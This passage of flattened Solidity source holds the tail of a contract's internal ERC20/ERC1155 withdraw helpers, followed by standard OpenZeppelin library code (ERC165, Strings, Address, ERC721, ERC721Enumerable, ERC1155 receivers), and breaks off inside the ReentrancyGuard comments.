to the specified address ERC1155Contract.safeBatchTransferFrom(address(this),to,ids,amounts,''); } function _withdrawERC20(address _contract, address to, uint256 amount) internal{ // withdraw a 20 token ERC20Interface ERC20Contract = ERC20Interface(_contract); // transfer ownership from this contract to the specified address ERC20Contract.transfer(to, amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721Receiver.sol"; /** * @dev Implementation of the {IERC721Receiver} interface. * * Accepts all token transfers. * Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}. */ contract ERC721Holder is IERC721Receiver { /** * @dev See {IERC721Receiver-onERC721Received}. * * Always returns `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address, address, uint256, bytes memory ) public virtual override returns (bytes4) { return this.onERC721Received.selector; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC1155Receiver.sol"; import "../../../utils/introspection/ERC165.sol"; /** * @dev _Available since v3.1._ */ abstract contract ERC1155Receiver is ERC165, IERC1155Receiver { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC1155Receiver.sol"; /** * @dev _Available since v3.1._ */ contract ERC1155Holder is ERC1155Receiver { function onERC1155Received( address, address, uint256, uint256, bytes memory ) public virtual override returns (bytes4) { return this.onERC1155Received.selector; } function onERC1155BatchReceived( address, address, uint256[] memory, uint256[] memory, bytes memory ) public virtual override returns (bytes4) { return this.onERC1155BatchReceived.selector; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against 